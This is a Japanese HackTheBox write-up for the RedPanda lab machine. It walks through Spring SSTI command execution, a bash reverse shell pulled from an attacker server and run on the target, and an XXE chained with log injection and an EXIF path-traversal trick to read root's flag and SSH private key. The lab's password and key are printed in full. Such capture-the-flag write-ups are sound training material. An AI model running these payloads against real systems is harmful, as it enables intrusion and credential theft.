【HackTheBox】RedPanda Writeup
Recon
nmap
port 8080にウェブサイトがあります。
website
gobusterでいくつかのページを発見しました。
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.170:8080
===============================================================
/error (Status: 500) [Size: 86]
/search (Status: 405) [Size: 117]
/stats (Status: 200) [Size: 987]
Progress: 4614 / 4615 (99.98%)
===============================================================
/
red pandaを検索できるみたいです
/error
これはspring bootのエラーページですね。javaか、、
/search
トップページで検索すると、この画面に遷移する。
検索した文字列がそのままページに表示されているので、SSTI試したいと思いました。
/stats
リンクをクリックするとこの画面に遷移します。urlはauthorパラメータが入っている感じですhttp://10.10.11.170:8080/stats?author=woodenk
。
export tableで画像の情報が入っているxmlファイルがダウンロードされます。
/search 検索結果があるケース
検索結果が0件じゃない場合は画像、name、description、authorが表示されます。
Spring Boot SSTI
payloadを試します。
${7*7}
でbanned charactersのエラーが出ました。$
がダメだったみたい。
*{7*7}
は問題なく実行されました。
ではコマンドを実行してみます。hacktricksに載っているpayloadでやってみます(https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java )。
idの結果が返ってきました!ではreverse shellを取っていきたいと思います。
よく使われるpayloadが全部むりだったが、curl
とwget
でattack machineからファイルをダウンロードできるみたいなので、この流れでやってみます:kali側でreverse shellのpayloadが入っているbash scriptを用意→scriptをtarget boxに移す→権限を設定する→scriptを実行
- attack machineにこのファイルを作って、サーバーを立ち上げます
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.10/9001 0>&1"
python3 -m http.server 8001
listenerを起動します
nc -lvnp 9001
- ファイルをダウンロードします
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget 10.10.14.4:8001/bashrevshell').getInputStream())}
-
bashrevshell
の権限を変更する
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod 777 bashrevshell').getInputStream())}
4. スクリプト実行
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('./bashrevshell').getInputStream())}
シェルが取れました。
Shell as woodenk
Recon
気になるところをメモします。
/credits directory
root directoryに/credits
directoryが入っていたので、中身を見てみます。
drw-r-x--- 2 root logs 4096 Jun 21 2022 .
drwxr-xr-x 20 root root 4096 Jun 23 2022 ..
-rw-r----- 1 root logs 422 Dec 26 08:36 damian_creds.xml
-rw-r----- 1 root logs 426 Jun 21 2022 woodenk_creds.xml
woodenk_creds.xml
を見てみます。ウェブサイトからダウンロードできるxmlファイルと同じ内容ですね。
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<views>0</views>
</image>
[..SNIP..]
/opt directory
/opt
の中に色々ありました。一つずつ見ていきます。
woodenk@redpanda:/opt$ ls
cleanup.sh
credit-score
maven
panda_search
source code: /opt/cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
write権限があるdirectoryからxmlとjpgファイルを削除するスクリプト。pspyでプロセスをみたら、2分に一回実行されていました。
なぜファイルを定期的に削除するかわかりませんが、priv escは多分xml、jpgファイルと関係があると思いました。
source code: /opt/panda_search
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search
にウェブサイトのソースコードがありました。3つのファイルがあります。
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList<ArrayList> pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
woodenkのパスワードはRedPandazRuleでした。
mysql dbの中も確認してみましたが、特にヒントがなかったです。
public class RequestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
return true;
}
@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
}
RequestInterceptor.java
の中に、ログを書き込む処理をしていました。burpでリクエストを送って、ログファイル(/opt/panda_search/redpanda.log
)をみてみると、ログが入っていました。
200||10.10.14.4||Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36||/search
200||10.10.14.4||Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36||/stats
また、woodenkはlogs groupに入っているのでredpanda.log
のwrite権限があります。
-rw-rw-r-- 1 root logs 1 Dec 27 00:34 redpanda.log
source code: /opt/credit_score
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
に別のソースコードが入っていました。
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
ログを処理して、各画像の閲覧数を更新するためのコードです。詳細は↓
1. redpanda.logのログから、status code, ip, UA, uri(path)が入っているmapを生成する
2. 画像を読み込んで、metadataのArtistタグから作者の情報を取得
3. /credits/{artist}_creds.xmlを読み込み、閲覧数(views)タグの中身を更新して同じファイルに書き出す
pspyから、このcredit_scoreのコードはrootが実行していることがわかります。
redpanda.log
のwrite権限を使って、ログのuriとmetadataをmaliciousの値に設定してするとrootがそのpayloadを実行して権限昇格できそうです。
XXE
addViewTo
関数がxxeのpayloadが入っているxmlを読み込む時に、rootとして任意のファイルをreadできるかもしれません。まずは自作のxmlファイルをcredit_scoreに読み込ませないといけないです。
下記の流れでXXE attackできるかどうかを検証します。
- 画像のmetadataにpayloadを入れる
適当の画像にArtistタグを入れる。
これでcredit_scoreは/tmp/hack_creds.xml
を読み込むはず。
exiftool -Artist=../tmp/hack hack.jpg
exiftool hack.jpg
- 画像をtarget machineに転送
/tmpに画像を入れる。
wget 10.10.14.4:8001/hack.jpg
- XXE payloadが
/tmp/hack_creds.xml
を作って、target machine
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "3"> ]>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
<foo>&xxe;</foo>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>0</views>
</image>
[..SNIP..]
-
/opt/panda_search/redpanda.log
にログを入れて、攻撃をtriggerする
これで画像のfull pathは/tmp/hack.jpg
になります。
echo 'a||b||c||/../../../../../../../../tmp/hack.jpg' > /opt/panda_search/redpanda.log
-
/tmp/hack_creds.xml
の中身を確認
woodenk@redpanda:/tmp$ cat hack_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
<foo>3</foo>
</image>
[..SNIP..]
作ったentity(xxe)が反映されました!ではroot flagの中身をreadしてみます。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/root/root.txt"> ]>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
<foo>&xxe;</foo>
</image>
[..SNIP..]
root flagゲットできました!
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
<foo>077xxxxxxxxxxxxxxxxxxxxx6b5</foo>
</image>
[..SNIP..]
Shell as root
xxeでrootのssh keyを読み込みます。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/root/root.txt"> ]>
woodenk@redpanda:/tmp$ cat hack_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
<foo>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</foo>
</image>
[..SNIP..]
sshログインするとroot shellが取れました。
┌──(kali㉿kali)-[~/redpanda]
└─$ chmod 600 rootkey
┌──(kali㉿kali)-[~/redpanda]
└─$ ssh -i rootkey root@10.10.11.170
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)
Memo
woodenkのパスワードがわかった時にsshログインして使いやすいシェルをゲットできますが、sshログインした時のwoodenkはlog groupに入っていないので、priv escに必要なことができません(logファイルにwriteする、/creditsディレクトリの中身をreadするなど)。
priv escはeasy mechineの中で一番難しかったかも、、?
Discussion